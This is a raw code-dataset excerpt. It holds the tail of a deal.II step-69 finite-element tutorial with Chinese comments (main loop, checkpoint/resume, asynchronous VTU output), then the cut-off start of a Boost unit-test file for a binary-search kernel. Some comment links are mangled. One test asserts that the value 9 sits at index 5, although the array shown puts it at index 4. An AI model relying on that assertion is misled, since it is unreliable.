r_i_max.store(Utilities::MPI::max(r_i_max.load(), mpi_communicator)); \n    r_i_min.store(Utilities::MPI::min(r_i_min.load(), mpi_communicator)); \n\n// \u7b2c\u4e8c\u4e2a\u5faa\u73af\uff1a\u6211\u4eec\u73b0\u5728\u6709\u4e86\u77e2\u91cf <code>r</code> \u548c\u6807\u91cf <code>r_i_max</code> and <code>r_i_min</code> \u53ef\u4ee5\u4f7f\u7528\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5b9e\u9645\u8ba1\u7b97Schlieren\u6307\u6807\u4e86\u3002\n\n    { \n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          for (const auto i : boost::make_iterator_range(i1, i2)) \n            { \n              Assert(i < n_locally_owned, ExcInternalError()); \n\n              schlieren.local_element(i) = \n                1. - std::exp(-schlieren_beta * (r[i] - r_i_min) / \n                              (r_i_max - r_i_min)); \n            } \n        }; \n\n      parallel::apply_to_subranges(indices.begin(), \n                                   indices.end(), \n                                   on_subranges, \n                                   4096); \n    } \n\n// \u6700\u540e\uff0c\u4ea4\u6362\u5e7d\u7075\u5143\u7d20\u3002\n\n    schlieren.update_ghost_values(); \n  } \n// @sect4{The main loop}  \n\n// \u5728\u5b9e\u73b0\u4e86\u6240\u6709\u7684\u7c7b\u4e4b\u540e\uff0c\u662f\u65f6\u5019\u521b\u5efa\u4e00\u4e2a <code>Discretization<dim></code>, <code>OfflineData<dim></code> \u3001 <code>InitialValues<dim></code>, <code>%TimeStepping\\<dim></code> \u548c <code>SchlierenPostprocessor<dim></code> \u7684\u5b9e\u4f8b\uff0c\u5e76\u5728\u4e00\u4e2a\u5faa\u73af\u4e2d\u8fd0\u884c\u6b27\u62c9\u6b63\u6b65\u3002\n\n// \u5728 <code>MainLoop<dim></code> \u7684\u6784\u9020\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u73b0\u5728\u521d\u59cb\u5316\u6240\u6709\u7c7b\u7684\u5b9e\u4f8b\uff0c\u5e76\u58f0\u660e\u4e00\u4e9b\u63a7\u5236\u8f93\u51fa\u7684\u53c2\u6570\u3002\u6700\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u6211\u4eec\u58f0\u660e\u4e86\u4e00\u4e2a\u5e03\u5c14\u53c2\u6570 <code>resume</code> \uff0c\u5b83\u5c06\u63a7\u5236\u7a0b\u5e8f\u662f\u5426\u8bd5\u56fe\u4ece\u4e2d\u65ad\u7684\u8ba1\u7b97\u4e2d\u91cd\u65b0\u542f\u52a8\u3002\n\n  template <int dim> \n  MainLoop<dim>::MainLoop(const MPI_Comm mpi_communicator) \n    : ParameterAcceptor(\"A - MainLoop\") \n    , mpi_communicator(mpi_communicator) \n    , computing_timer(mpi_communicator, \n                      timer_output, \n                      TimerOutput::never, \n                      TimerOutput::cpu_and_wall_times) \n    , pcout(std::cout, Utilities::MPI::this_mpi_process(mpi_communicator) == 0) \n    , discretization(mpi_communicator, computing_timer, \"B - Discretization\") \n    , offline_data(mpi_communicator, \n                   computing_timer, \n                   discretization, \n                   \"C - OfflineData\") \n    , initial_values(\"D - InitialValues\") \n    , time_stepping(mpi_communicator, \n                    computing_timer, \n                    offline_data, \n                    initial_values, \n                    \"E - TimeStepping\") \n    , schlieren_postprocessor(mpi_communicator, \n                              computing_timer, \n                              offline_data, \n                              \"F - SchlierenPostprocessor\") \n  { \n    base_name = \"test\"; \n    add_parameter(\"basename\", base_name, \"Base name for all output files\"); \n\n    t_final = 4.; \n    add_parameter(\"final time\", t_final, \"Final time\"); \n\n    output_granularity = 0.02; \n    add_parameter(\"output granularity\", \n                  output_granularity, \n                  \"time interval for output\"); \n\n    asynchronous_writeback = true; \n    add_parameter(\"asynchronous writeback\", \n                  asynchronous_writeback, \n                  \"Write out solution in a background thread performing IO\"); \n\n    resume = false; \n    add_parameter(\"resume\", resume, \"Resume an interrupted computation.\"); \n  } \n\n// \u6211\u4eec\u9996\u5148\u5728\u533f\u540d\u547d\u540d\u7a7a\u95f4\u4e2d\u5b9e\u73b0\u4e00\u4e2a\u8f85\u52a9\u51fd\u6570 <code>print_head()</code> \uff0c\u7528\u6765\u5728\u7ec8\u7aef\u8f93\u51fa\u5e26\u6709\u4e00\u4e9b\u6f02\u4eae\u683c\u5f0f\u7684\u4fe1\u606f\u3002\n\n  namespace \n  { \n    void print_head(ConditionalOStream &pcout, \n                    const std::string & header, \n                    const std::string & secondary = \"\") \n    { \n      const auto header_size   = header.size(); \n      const auto padded_header = std::string((34 - header_size) / 2, ' ') + \n                                 header + \n                                 std::string((35 - header_size) / 2, ' '); \n\n      const auto secondary_size = secondary.size(); \n      const auto padded_secondary = \n        std::string((34 - secondary_size) / 2, ' ') + secondary + \n        std::string((35 - secondary_size) / 2, ' '); \n\n /* \u5173\u95edclang-format  */ \n\n      pcout << std::endl; \n      pcout << \"    ####################################################\" << std::endl; \n      pcout << \"    #########                                  #########\" << std::endl; \n      pcout << \"    #########\"     <<  padded_header   <<     \"#########\" << std::endl; \n      pcout << \"    #########\"     << padded_secondary <<     \"#########\" << std::endl; \n      pcout << \"    #########                                  #########\" << std::endl; \n      pcout << \"    ####################################################\" << std::endl; \n      pcout << std::endl; \n    /* clang-format on  */ \n    } \n  } // namespace \n\n// \u6709\u4e86 <code>print_head</code> \uff0c\u73b0\u5728\u662f\u65f6\u5019\u5b9e\u73b0 <code>MainLoop<dim>::run()</code> \u4e86\uff0c\u5b83\u5305\u542b\u4e86\u6211\u4eec\u7a0b\u5e8f\u7684\u4e3b\u5faa\u73af\u3002\n\n  template <int dim> \n  void MainLoop<dim>::run() \n  { \n\n// \u6211\u4eec\u5f00\u59cb\u8bfb\u5165\u53c2\u6570\u5e76\u521d\u59cb\u5316\u6240\u6709\u5bf9\u8c61\u3002\u6211\u4eec\u5728\u8fd9\u91cc\u6ce8\u610f\u5230\uff0c\u5bf9 ParameterAcceptor::initialize \u7684\u8c03\u7528\u662f\u4ece\u53c2\u6570\u6587\u4ef6\uff08\u5176\u540d\u79f0\u4f5c\u4e3a\u4e00\u4e2a\u5b57\u7b26\u4e32\u53c2\u6570\u7ed9\u51fa\uff09\u4e2d\u8bfb\u5165\u6240\u6709\u53c2\u6570\u3002ParameterAcceptor\u5904\u7406\u4e00\u4e2a\u5168\u5c40\u7684ParameterHandler\uff0c\u5b83\u88ab\u521d\u59cb\u5316\u4e3a\u6240\u6709\u4eceParameterAceptor\u6d3e\u751f\u7684\u7c7b\u5b9e\u4f8b\u7684\u5b50\u8282\u548c\u53c2\u6570\u58f0\u660e\u3002\u8c03\u7528initialize\u8fdb\u5165\u6bcf\u4e2a\u6bcf\u4e2a\u6d3e\u751f\u7c7b\u7684\u5206\u8282\uff0c\u5e76\u8bbe\u7f6e\u6240\u6709\u4f7f\u7528 ParameterAcceptor::add_parameter() \u6dfb\u52a0\u7684\u53d8\u91cf\u3002\n    pcout << \"Reading parameters and allocating objects... \" << std::flush; \n\n    ParameterAcceptor::initialize(\"step-69.prm\"); \n    pcout << \"done\" << std::endl; \n\n// \u63a5\u4e0b\u6765\u6211\u4eec\u521b\u5efa\u4e09\u89d2\u5f62\uff0c\u96c6\u5408\u6240\u6709\u7684\u77e9\u9635\uff0c\u8bbe\u7f6e\u5212\u75d5\u7a7a\u95f4\uff0c\u5e76\u521d\u59cb\u5316DataOut<dim>\u5bf9\u8c61\u3002\n\n    { \n      print_head(pcout, \"create triangulation\"); \n      discretization.setup(); \n\n      pcout << \"Number of active cells:       \" \n            << discretization.triangulation.n_global_active_cells() \n            << std::endl; \n\n      print_head(pcout, \"compute offline data\"); \n      offline_data.setup(); \n      offline_data.assemble(); \n\n      pcout << \"Number of degrees of freedom: \" \n            << offline_data.dof_handler.n_dofs() << std::endl; \n\n      print_head(pcout, \"set up time step\"); \n      time_stepping.prepare(); \n      schlieren_postprocessor.prepare(); \n    } \n\n// \u6211\u4eec\u5c06\u5728\u53d8\u91cf  <code>t</code> and vector <code>U</code>  \u4e2d\u5b58\u50a8\u5f53\u524d\u7684\u65f6\u95f4\u548c\u72b6\u6001\u3002\n\n    double       t            = 0.; \n    unsigned int output_cycle = 0; \n\n    print_head(pcout, \"interpolate initial values\"); \n    vector_type U = interpolate_initial_values(); \n// @sect5{Resume}  \n\n// \u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5e03\u5c14\u503c <code>resume</code> \u88ab\u8bbe\u7f6e\u4e3afalse\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4e0b\u9762\u7684\u4ee3\u7801\u6bb5\u4e0d\u4f1a\u88ab\u8fd0\u884c\u3002\u7136\u800c\uff0c\u5982\u679c <code>resume==true</code> \uff0c\u6211\u4eec\u8868\u660e\u6211\u4eec\u786e\u5b9e\u6709\u4e00\u4e2a\u4e2d\u65ad\u7684\u8ba1\u7b97\uff0c\u7a0b\u5e8f\u5e94\u91cd\u65b0\u542f\u52a8\uff0c\u4ece\u68c0\u67e5\u70b9\u6587\u4ef6\u4e2d\u8bfb\u5165\u7531 <code>t</code> \u3001 <code>output_cycle</code>, and <code>U</code> \u7ec4\u6210\u7684\u65e7\u72b6\u6001\u3002\u8fd9\u4e9b\u68c0\u67e5\u70b9\u6587\u4ef6\u5c06\u5728\u4e0b\u9762\u8ba8\u8bba\u7684 <code>output()</code> \u7a0b\u5e8f\u4e2d\u521b\u5efa\u3002\n\n    if (resume) \n      { \n        print_head(pcout, \"restore interrupted computation\"); \n\n        const unsigned int i = \n          discretization.triangulation.locally_owned_subdomain(); \n\n        const std::string name = base_name + \"-checkpoint-\" + \n                                 Utilities::int_to_string(i, 4) + \".archive\"; \n        std::ifstream file(name, std::ios::binary); \n\n// \u6211\u4eec\u4f7f\u7528\u4e00\u4e2a <code>boost::archive</code> \u6765\u5b58\u50a8\u548c\u8bfb\u5165\u68c0\u67e5\u70b9\u72b6\u6001\u7684\u5185\u5bb9\u3002\n\n        boost::archive::binary_iarchive ia(file); \n        ia >> t >> output_cycle; \n\n        for (auto &it1 : U) \n          { \n// <code>it1</code>  \u904d\u5386\u72b6\u6001\u5411\u91cf\u7684\u6240\u6709\u7ec4\u4ef6  <code>U</code>  \u3002\u6211\u4eec\u4f9d\u6b21\u8bfb\u5165\u5206\u91cf\u7684\u6bcf\u4e00\u4e2a\u6761\u76ee\uff0c\u4e4b\u540e\u66f4\u65b0ghost\u5c42\u3002\n\n            for (auto &it2 : it1) \n              ia >> it2; \n            it1.update_ghost_values(); \n          } \n      } \n\n// \u968f\u7740\u521d\u59cb\u72b6\u6001\u7684\u5efa\u7acb\uff0c\u6216\u4e2d\u65ad\u72b6\u6001\u7684\u6062\u590d\uff0c\u662f\u65f6\u5019\u8fdb\u5165\u4e3b\u5faa\u73af\u4e86\u3002\n\n    output(U, base_name, t, output_cycle++); \n\n    print_head(pcout, \"enter main loop\"); \n\n    for (unsigned int cycle = 1; t < t_final; ++cycle) \n      { \n\n// \u6211\u4eec\u9996\u5148\u6253\u5370\u4e00\u4e2a\u4fe1\u606f\u6027\u7684\u72b6\u6001\u4fe1\u606f\n\n        std::ostringstream head; \n        std::ostringstream secondary; \n\n        head << \"Cycle  \" << Utilities::int_to_string(cycle, 6) << \"  (\" // \n             << std::fixed << std::setprecision(1) << t / t_final * 100  // \n             << \"%)\"; \n        secondary << \"at time t = \" << std::setprecision(8) << std::fixed << t; \n\n        print_head(pcout, head.str(), secondary.str()); \n\n// \u7136\u540e\u6267\u884c\u4e00\u4e2a\u5355\u4e00\u7684\u524d\u5411\u6b27\u62c9\u6b65\u9aa4\u3002\u8bf7\u6ce8\u610f\uff0c\u72b6\u6001\u5411\u91cf <code>U</code> \u88ab\u5c31\u5730\u66f4\u65b0\uff0c <code>time_stepping.make_one_step()</code> \u8fd4\u56de\u9009\u62e9\u7684\u6b65\u957f\u3002\n\n        t += time_stepping.make_one_step(U, t); \n\n// \u540e\u671f\u5904\u7406\u3001\u751f\u6210\u8f93\u51fa\u548c\u5199\u51fa\u5f53\u524d\u72b6\u6001\u662f\u4e00\u4e2aCPU\u548cIO\u5bc6\u96c6\u578b\u7684\u4efb\u52a1\uff0c\u6211\u4eec\u4e0d\u80fd\u5728\u6bcf\u4e2a\u65f6\u95f4\u6b65\u957f\u8fdb\u884c\u5904\u7406\n\n// -- \u7279\u522b\u662f\u5728\u663e\u5f0f\u65f6\u95f4\u6b65\u8fdb\u4e2d\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ea\u5728\u8d85\u8fc7 <code>output_granularity</code> \u8bbe\u5b9a\u7684\u9608\u503c\u65f6\uff0c\u901a\u8fc7\u8c03\u7528 <code>output()</code> \u51fd\u6570\u5b89\u6392\u8f93\u51fa\u3002\n\n        if (t > output_cycle * output_granularity) \n          { \n            output(U, base_name, t, output_cycle, true); \n            ++output_cycle; \n          } \n      } \n\n// \u6211\u4eec\u7b49\u5f85\u4efb\u4f55\u5269\u4f59\u7684\u540e\u53f0\u8f93\u51fa\u7ebf\u7a0b\u5b8c\u6210\uff0c\u7136\u540e\u6253\u5370\u4e00\u4e2a\u6458\u8981\u5e76\u9000\u51fa\u3002\n\n    if (background_thread_state.valid()) \n      background_thread_state.wait(); \n\n    computing_timer.print_summary(); \n    pcout << timer_output.str() << std::endl; \n  } \n\n//  <code>interpolate_initial_values</code> \u5c06\u521d\u59cb\u65f6\u95f4 \"t \"\u4f5c\u4e3a\u8f93\u5165\u53c2\u6570\uff0c\u5e76\u5728 <code>InitialValues<dim>::initial_state</code> \u5bf9\u8c61\u7684\u5e2e\u52a9\u4e0b\u586b\u5145\u72b6\u6001\u5411\u91cf <code>U</code> \u3002\n\n  template <int dim> \n  typename MainLoop<dim>::vector_type \n  MainLoop<dim>::interpolate_initial_values(const double t) \n  { \n    pcout << \"MainLoop<dim>::interpolate_initial_values(t = \" << t << \")\" \n          << std::endl; \n    TimerOutput::Scope scope(computing_timer, \n                             \"main_loop - setup scratch space\"); \n\n    vector_type U; \n\n    for (auto &it : U) \n      it.reinit(offline_data.partitioner); \n\n    constexpr auto problem_dimension = \n      ProblemDescription<dim>::problem_dimension; \n\n//  <code>InitialValues<dim>::initial_state</code> \u7684\u51fd\u6570\u7b7e\u540d\u5bf9\u4e8e VectorTools::interpolate(). \u6765\u8bf4\u4e0d\u592a\u5408\u9002\u3002\u6211\u4eec\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1a\u9996\u5148\uff0c\u521b\u5efa\u4e00\u4e2alambda\u51fd\u6570\uff0c\u5bf9\u4e8e\u7ed9\u5b9a\u7684\u4f4d\u7f6e <code>x</code> \u53ea\u8fd4\u56de <code>i</code> \u7684\u7b2c\u4e09\u90e8\u5206\u7684\u503c\u3002\u5728ScalarFunctionFromFunctionObject\u5305\u88c5\u5668\u7684\u5e2e\u52a9\u4e0b\uff0c\u8fd9\u4e2alambda\u53c8\u88ab\u8f6c\u6362\u4e3a\u4e00\u4e2a dealii::Function \u3002\n\n    for (unsigned int i = 0; i < problem_dimension; ++i) \n      VectorTools::interpolate(offline_data.dof_handler, \n                               ScalarFunctionFromFunctionObject<dim, double>( \n                                 [&](const Point<dim> &x) { \n                                   return initial_values.initial_state(x, t)[i]; \n                                 }), \n                               U[i]); \n\n    for (auto &it : U) \n      it.update_ghost_values(); \n\n    return U; \n  } \n// @sect5{Output and checkpointing}  \n\n// \u5199\u51fa\u6700\u7ec8\u7684 vtk \u6587\u4ef6\u662f\u4e00\u9879\u76f8\u5f53\u5bc6\u96c6\u7684 IO \u4efb\u52a1\uff0c\u4f1a\u8ba9\u4e3b\u5faa\u73af\u505c\u6ede\u4e00\u6bb5\u65f6\u95f4\u3002\u4e3a\u4e86\u907f\u514d\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u4f7f\u7528\u4e86<a\n//  href=\"https:en.wikipedia.org/wiki/Asynchronous_I/O\">asynchronous\n//  IO</a>\u7684\u7b56\u7565\uff0c\u5373\u521b\u5efa\u4e00\u4e2a\u540e\u53f0\u7ebf\u7a0b\uff0c\u5728\u4e3b\u5faa\u73af\u88ab\u5141\u8bb8\u7ee7\u7eed\u7684\u60c5\u51b5\u4e0b\u6267\u884cIO\u3002\u4e3a\u4e86\u4f7f\u5176\u53d1\u6325\u4f5c\u7528\uff0c\u6211\u4eec\u5fc5\u987b\u6ce8\u610f\u4e24\u4ef6\u4e8b\u3002\n\n// - \u5728\u8fd0\u884c  <code>output_worker</code>  \u7ebf\u7a0b\u4e4b\u524d\uff0c\u6211\u4eec\u5fc5\u987b\u521b\u5efa\u4e00\u4e2a\u72b6\u6001\u5411\u91cf  <code>U</code>  \u7684\u526f\u672c\u3002\u6211\u4eec\u628a\u5b83\u5b58\u50a8\u5728\u5411\u91cf  <code>output_vector</code>  \u4e2d\u3002\n\n// - \u6211\u4eec\u5fc5\u987b\u907f\u514d\u5728\u540e\u53f0\u7ebf\u7a0b\u4e2d\u8fdb\u884c\u4efb\u4f55MPI\u901a\u4fe1\uff0c\u5426\u5219\u7a0b\u5e8f\u53ef\u80fd\u4f1a\u51fa\u73b0\u6b7b\u9501\u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u5fc5\u987b\u5728\u5de5\u4f5c\u7ebf\u7a0b\u4e4b\u5916\u8fd0\u884c\u540e\u5904\u7406\u7a0b\u5e8f\u3002\n\n  template <int dim> \n  void MainLoop<dim>::output(const typename MainLoop<dim>::vector_type &U, \n                             const std::string &                        name, \n                             const double                               t, \n                             const unsigned int                         cycle, \n                             const bool checkpoint) \n  { \n    pcout << \"MainLoop<dim>::output(t = \" << t \n          << \", checkpoint = \" << checkpoint << \")\" << std::endl; \n\n// \u5982\u679c\u8bbe\u7f6e\u4e86\u5f02\u6b65\u56de\u5199\u9009\u9879\uff0c\u6211\u4eec\u4f1a\u542f\u52a8\u4e00\u4e2a\u540e\u53f0\u7ebf\u7a0b\uff0c\u6267\u884c\u6240\u6709\u7684\u6162\u901fIO\u5230\u78c1\u76d8\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5fc5\u987b\u786e\u4fdd\u540e\u53f0\u7ebf\u7a0b\u786e\u5b9e\u5b8c\u6210\u4e86\u8fd0\u884c\u3002\u5982\u679c\u6ca1\u6709\uff0c\u6211\u4eec\u5fc5\u987b\u7b49\u5f85\u5b83\u5b8c\u6210\u3002\u6211\u4eec\u7528<a\n//  href=\"https:en.cppreference.com/w/cpp/thread/async\"><code>std::async()</code></a>\u542f\u52a8\u4e0a\u8ff0\u80cc\u666f\u7ebf\u7a0b\uff0c\u8be5\u7ebf\u7a0b\u8fd4\u56de<a\n//  href=\"https:en.cppreference.com/w/cpp/thread/future\"><code>std::future</code></a>\u5bf9\u8c61\u3002\u8fd9\u4e2a <code>std::future</code> \u5bf9\u8c61\u5305\u542b\u4e86\u51fd\u6570\u7684\u8fd4\u56de\u503c\uff0c\u5728\u6211\u4eec\u7684\u4f8b\u5b50\u4e2d\u5c31\u662f <code>void</code>  \u3002\n\n    if (background_thread_state.valid()) \n      { \n        TimerOutput::Scope timer(computing_timer, \"main_loop - stalled output\"); \n        background_thread_state.wait(); \n      } \n\n    constexpr auto problem_dimension = \n      ProblemDescription<dim>::problem_dimension; \n\n// \u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u5236\u4f5c\u4e00\u4efd\u72b6\u6001\u5411\u91cf\u7684\u526f\u672c\uff0c\u8fd0\u884cschlieren\u540e\u5904\u7406\u5668\uff0c\u5e76\u8fd0\u884c DataOut<dim>::build_patches()  \u5b9e\u9645\u8f93\u51fa\u4ee3\u7801\u662f\u6807\u51c6\u7684\u3002\u6211\u4eec\u521b\u5efa\u4e00\u4e2aDataOut\u5b9e\u4f8b\uff0c\u9644\u52a0\u6240\u6709\u6211\u4eec\u60f3\u8981\u8f93\u51fa\u7684\u6570\u636e\u5411\u91cf\uff0c\u5e76\u8c03\u7528 DataOut<dim>::build_patches(). \uff0c\u4f46\u662f\u6709\u4e00\u4e2a\u8f6c\u6298\u3002\u4e3a\u4e86\u5728\u540e\u53f0\u7ebf\u7a0b\u4e0a\u6267\u884c\u5f02\u6b65IO\uff0c\u6211\u4eec\u5c06DataOut<dim>\u5bf9\u8c61\u521b\u5efa\u4e3a\u4e00\u4e2a\u5171\u4eab\u6307\u9488\uff0c\u4f20\u9012\u7ed9\u5de5\u4f5c\u7ebf\u7a0b\uff0c\u4ee5\u786e\u4fdd\u4e00\u65e6\u6211\u4eec\u9000\u51fa\u8fd9\u4e2a\u51fd\u6570\uff0c\u5de5\u4f5c\u7ebf\u7a0b\u5b8c\u6210\u540e\uff0cDataOut<dim>\u5bf9\u8c61\u518d\u6b21\u88ab\u9500\u6bc1\u3002\n\n    for (unsigned int i = 0; i < problem_dimension; ++i) \n      { \n        output_vector[i] = U[i]; \n        output_vector[i].update_ghost_values(); \n      } \n\n    schlieren_postprocessor.compute_schlieren(output_vector); \n\n    auto data_out = std::make_shared<DataOut<dim>>(); \n\n    data_out->attach_dof_handler(offline_data.dof_handler); \n\n    const auto &component_names = ProblemDescription<dim>::component_names; \n\n    for (unsigned int i = 0; i < problem_dimension; ++i) \n      data_out->add_data_vector(output_vector[i], component_names[i]); \n\n    data_out->add_data_vector(schlieren_postprocessor.schlieren, \n                              \"schlieren_plot\"); \n\n    data_out->build_patches(discretization.mapping, \n                            discretization.finite_element.degree - 1); \n\n// \u63a5\u4e0b\u6765\u6211\u4eec\u4e3a\u540e\u53f0\u7ebf\u7a0b\u521b\u5efa\u4e00\u4e2alambda\u51fd\u6570\u3002\u6211\u4eec <a href=\"https:en.cppreference.com/w/cpp/language/lambda\">capture</a>  <code>this</code>  \u6307\u9488\u4ee5\u53ca\u8f93\u51fa\u51fd\u6570\u7684\u5927\u90e8\u5206\u53c2\u6570\u7684\u503c\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728lambda\u51fd\u6570\u4e2d\u8bbf\u95ee\u5b83\u4eec\u3002\n\n    const auto output_worker = [this, name, t, cycle, checkpoint, data_out]() { \n      if (checkpoint) \n        { \n\n// \u6211\u4eec\u901a\u8fc7\u5bf9<a href=\"Resume\">resume logic</a>\u7684\u7cbe\u786e\u53cd\u5411\u64cd\u4f5c\u6765\u68c0\u67e5\u5f53\u524d\u72b6\u6001\u3002\n\n          const unsigned int i = \n            discretization.triangulation.locally_owned_subdomain(); \n          std::string filename = \n            name + \"-checkpoint-\" + Utilities::int_to_string(i, 4) + \".archive\"; \n\n          std::ofstream file(filename, std::ios::binary | std::ios::trunc); \n\n          boost::archive::binary_oarchive oa(file); \n          oa << t << cycle; \n          for (const auto &it1 : output_vector) \n            for (const auto &it2 : it1) \n              oa << it2; \n        } \n\n      DataOutBase::VtkFlags flags(t, \n                                  cycle, \n                                  true, \n                                  DataOutBase::VtkFlags::best_speed); \n      data_out->set_flags(flags); \n\n      data_out->write_vtu_with_pvtu_record( \n        \"\", name + \"-solution\", cycle, mpi_communicator, 6); \n    }; \n\n// \u5982\u679c\u8bbe\u7f6e\u4e86\u5f02\u6b65\u56de\u5199\u9009\u9879\uff0c\u6211\u4eec\u5728<a\n//  href=\"https:en.cppreference.com/w/cpp/thread/async\"><code>std::async</code></a>\u51fd\u6570\u7684\u5e2e\u52a9\u4e0b\u542f\u52a8\u4e00\u4e2a\u65b0\u7684\u540e\u53f0\u7ebf\u7a0b\u3002\u8be5\u51fd\u6570\u8fd4\u56de\u4e00\u4e2a<a\n//  href=\"https:en.cppreference.com/w/cpp/thread/future\"><code>std::future</code></a>\u5bf9\u8c61\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u5b83\u6765\u67e5\u8be2\u540e\u53f0\u7ebf\u7a0b\u7684\u72b6\u6001\u3002\u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u4ece <code>output()</code> \u51fd\u6570\u4e2d\u8fd4\u56de\uff0c\u7ee7\u7eed\u5728\u4e3b\u5faa\u73af\u4e2d\u8fdb\u884c\u65f6\u95f4\u6b65\u8fdb\n\n// - \u8be5\u7ebf\u7a0b\u5c06\u5728\u540e\u53f0\u8fd0\u884c\u3002\n\n    if (asynchronous_writeback) \n      { \n        background_thread_state = std::async(std::launch::async, output_worker); \n      } \n    else \n      { \n        output_worker(); \n      } \n  } \n\n} // namespace Step69 \n\n// \u6700\u540e\u662f\u4e3b\u51fd\u6570\u3002\n\nint main(int argc, char *argv[]) \n{ \n  try \n    { \n      constexpr int dim = 2; \n\n      using namespace dealii; \n      using namespace Step69; \n\n      Utilities::MPI::MPI_InitFinalize mpi_initialization(argc, argv); \n\n      MPI_Comm      mpi_communicator(MPI_COMM_WORLD); \n      MainLoop<dim> main_loop(mpi_communicator); \n\n      main_loop.run(); \n    } \n  catch (std::exception &exc) \n    { \n      std::cerr << std::endl \n                << std::endl \n                << \"----------------------------------------------------\" \n                << std::endl; \n      std::cerr << \"Exception on processing: \" << std::endl \n                << exc.what() << std::endl \n                << \"Aborting!\" << std::endl \n                << \"----------------------------------------------------\" \n                << std::endl; \n      return 1; \n    } \n  catch (...) \n    { \n      std::cerr << std::endl \n                << std::endl \n                << \"----------------------------------------------------\" \n                << std::endl; \n      std::cerr << \"Unknown exception!\" << std::endl \n                << \"Aborting!\" << std::endl \n                << \"----------------------------------------------------\" \n                << std::endl; \n      return 1; \n    }; \n} \n\n\n", "meta": {"hexsha": "e5b83156f84bf9f1d988044629af8379b6631067", "size": 87008, "ext": "cc", "lang": "C++", "max_stars_repo_path": "Translator_file/examples/step-69/step-69.cc", "max_stars_repo_name": "jiaqiwang969/deal.ii-course-practice", "max_stars_repo_head_hexsha": "0da5ad1537d8152549d8a0e4de5872efe7619c8a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Translator_file/examples/step-69/step-69.cc", "max_issues_repo_name": "jiaqiwang969/deal.ii-course-practice", "max_issues_repo_head_hexsha": "0da5ad1537d8152549d8a0e4de5872efe7619c8a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Translator_file/examples/step-69/step-69.cc", "max_forks_repo_name": "jiaqiwang969/deal.ii-course-practice", "max_forks_repo_head_hexsha": "0da5ad1537d8152549d8a0e4de5872efe7619c8a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.2635379061, "max_line_length": 482, "alphanum_fraction": 0.6116449062, "num_tokens": 31680, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356686808225134, "lm_q2_score": 0.2568319856991699, "lm_q1q2_score": 0.10364888009195955}}
{"text": "/*\n * @file\n * @author University of Warwick\n * @version 1.0\n *\n * @section LICENSE\n *\n * @section DESCRIPTION\n *\n * Tests for the kernels of the utility search operations\n *\n */\n\n#define BOOST_TEST_MODULE SearchKernels\n#include <boost/test/unit_test.hpp>\n#include <boost/test/output_test_stream.hpp>\n\n#include <stdexcept>\n\n#include \"SearchKernels.h\"\n\nusing namespace cupcfd::utility::kernels;\n\n// ================== Binary Search ===========================\n// Test 1: Test Element is in first position, even sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test1)\n{\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n}\n\n// Test 2: Test element in last position, even sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test2)\n{\n\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 20, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 7);\n}\n\n// Test 3: Test element in middle position, even sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test3)\n{\n\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 5);\n}\n\n// Test 4: Test searching for each element present in array, even sized array\nBOOST_AUTO_TEST_CASE(binarySearch_test4)\n{\n\tint source[8] = {1, 4, 7, 8, 9, 11, 13, 20};\n\tint index;\n\tcupcfd::error::eCodes status;\n\n\tstatus = binarySearch(source, 8, 1, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 0);\n\n\tstatus = binarySearch(source, 8, 4, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 1);\n\n\tstatus = binarySearch(source, 8, 7, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 2);\n\n\tstatus = binarySearch(source, 8, 8, &index);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(index, 3);\n\n\tstatus = binarySearch(source, 8, 9, &index);\n\tBOOST_CHECK_EQUAL(status, 